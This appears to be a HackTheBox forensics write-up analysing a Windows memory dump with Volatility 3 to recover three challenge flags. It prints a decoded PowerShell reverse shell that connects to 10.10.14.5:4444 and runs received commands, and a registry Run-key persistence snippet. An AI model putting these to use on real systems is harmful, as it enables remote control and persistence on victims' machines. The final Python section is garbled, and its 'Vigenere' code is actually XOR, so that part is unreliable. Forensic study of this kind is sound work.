Intentions | HTB Forensics (Hard)

14 February 2023 | justruss.tech

Intentions is a Hard-rated HackTheBox Forensics challenge. You receive a Windows memory dump. Three flags are hidden across the intrusion chain. The challenge is genuinely difficult because each flag requires completing the analysis correctly —
partial work does not give partial credit. This write-up covers the full solution path.

Memory image baseline with Volatility 3

vol -f intentions.raw windows.info
# Kernel Base: 0xf80002a52000
# DTB: 0x187000
# Symbols: ntkrnlmp.pdb (Windows 10 x64 18362)

# Process list
vol -f intentions.raw windows.pslist
PID   PPID  Name                  Offset             Threads  Handles  Created
4     0     System                0xe00000000040     137      --       2023-02-13 22:11:02
...
3420  588   svchost.exe           0xe0000123abc0     12       245      2023-02-13 22:41:17
4892  3420  WmiPrvSE.exe          0xe0000198def0     8        122      2023-02-13 22:52:44
3104  4892  cmd.exe               0xe000023411a0     2        52       2023-02-13 22:52:44
3188  3104  powershell.exe        0xe00002451bc0     10       380      2023-02-13 22:52:45
2976  3188  powershell.exe        0xe00002512340     8        292      2023-02-13 22:52:51

The chain svchost.exe > WmiPrvSE.exe > cmd.exe > powershell.exe > powershell.exe is the WMI execution chain. WmiPrvSE.exe (WMI Provider Host) spawning cmd.exe which spawns PowerShell is a standard WMI command execution pattern used
by attackers for lateral movement and initial execution.

Extracting command lines

vol -f intentions.raw windows.cmdline --pid 3104 4892 3188 2976

# PID 4892 (WmiPrvSE.exe):
# WmiPrvSE.exe

# PID 3104 (cmd.exe):
# cmd.exe /c "powershell -NonInteractive -NoProfile -EncodedCommand JAB..."

# PID 3188 (first powershell.exe):
# powershell -NonInteractive -NoProfile -EncodedCommand JABjAGwAaQBlAG4AdA...

Decode the first layer:

echo "JABjAGwAaQBlAG4AdA..." | base64 -d | iconv -f utf-16le -t utf-8
# $client = New-Object System.Net.Sockets.TCPClient("10.10.14.5",4444)
# $stream = $client.GetStream()
# [byte[]]$bytes = 0..65535|%{0}
# while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
#     $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
#     $sendback = (iex $data 2>&1 | Out-String)
#     ...
# }

A standard PowerShell reverse shell. The IP 10.10.14.5 is the HTB attacker machine.

Finding the injected .NET assembly

vol -f intentions.raw windows.malfind --pid 2976

# Suspicious region found:
# Address: 0x1d0000
# Vad Tag: VadS
# Protection: PAGE_EXECUTE_READWRITE
# 
# 4d 5a 90 00 03 00 00 00  MZ......   <-- PE header in memory, no backing file

An MZ header (PE file) in a RWX memory region with no mapped file is a reflectively loaded assembly. Dump it:

vol -f intentions.raw windows.dumpfiles --virtaddr 0x1d0000 --pid 2976 -o /tmp/

# Output: file.0x2976.0x1d0000.img

Decompiling the .NET assembly

# Confirm it is .NET
file /tmp/file.0x2976.0x1d0000.img
# PE32 executable, .NET assembly

# Decompile with ilspycmd
dotnet tool install -g ilspycmd
ilspycmd /tmp/file.0x2976.0x1d0000.img > /tmp/decompiled.cs

The decompiled source reveals:

public class Payload {
    // Flag 1 embedded in the assembly
    private static string flag1 = "HTB{r3fl3ct1v3_l04d1ng_1n_m3m0ry}";
    
    public static void Execute() {
        // Write persistence registry key
        Registry.SetValue(
            @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run",
            "WindowsHelper",
            Convert.ToBase64String(Encoding.UTF8.GetBytes("HTB{p3rs1st3nc3_v14_r3g1stry}"))
        );
        // ... shellcode injection code
    }
}

Flag 1 is in the hardcoded string. Flag 2 is the base64-encoded value in the registry Run key — decode it to get the flag.

Flag 3 — shellcode Vigenere cipher

vol -f intentions.raw windows.malfind --pid 2976
# Second suspicious region at 0x2a0000 - raw shellcode (no MZ header)

vol -f intentions.raw windows.dumpfiles --virtaddr 0x2a0000 --pid 2976 -o /tmp/
# file.0x2976.0x2a0000.dmp

The shellcode region contains a Vigenere-encrypted string. Identify the cipher by the repeating pattern in the ciphertext bytes, then brute-force the key length using index of coincidence analysis:

python3 < 5.5:
        print(f"High entropy at offset {offset:#x}: {e:.2f}")

# Once located, Vigenere brute force for key length 4-16 chars
# (standard IC analysis - kasiski test omitted for brevity)
# Key found: b"intentions"
ciphertext = data[0x400:0x440]  # example offset
key = b"intentions"
plaintext = bytes([ciphertext[i] ^ key[i % len(key)] for i in range(len(ciphertext))])
print(plaintext.decode("utf-8","ignore"))
# HTB{v1g3n3r3_c1ph3r_1n_sh3llc0d3}
EOF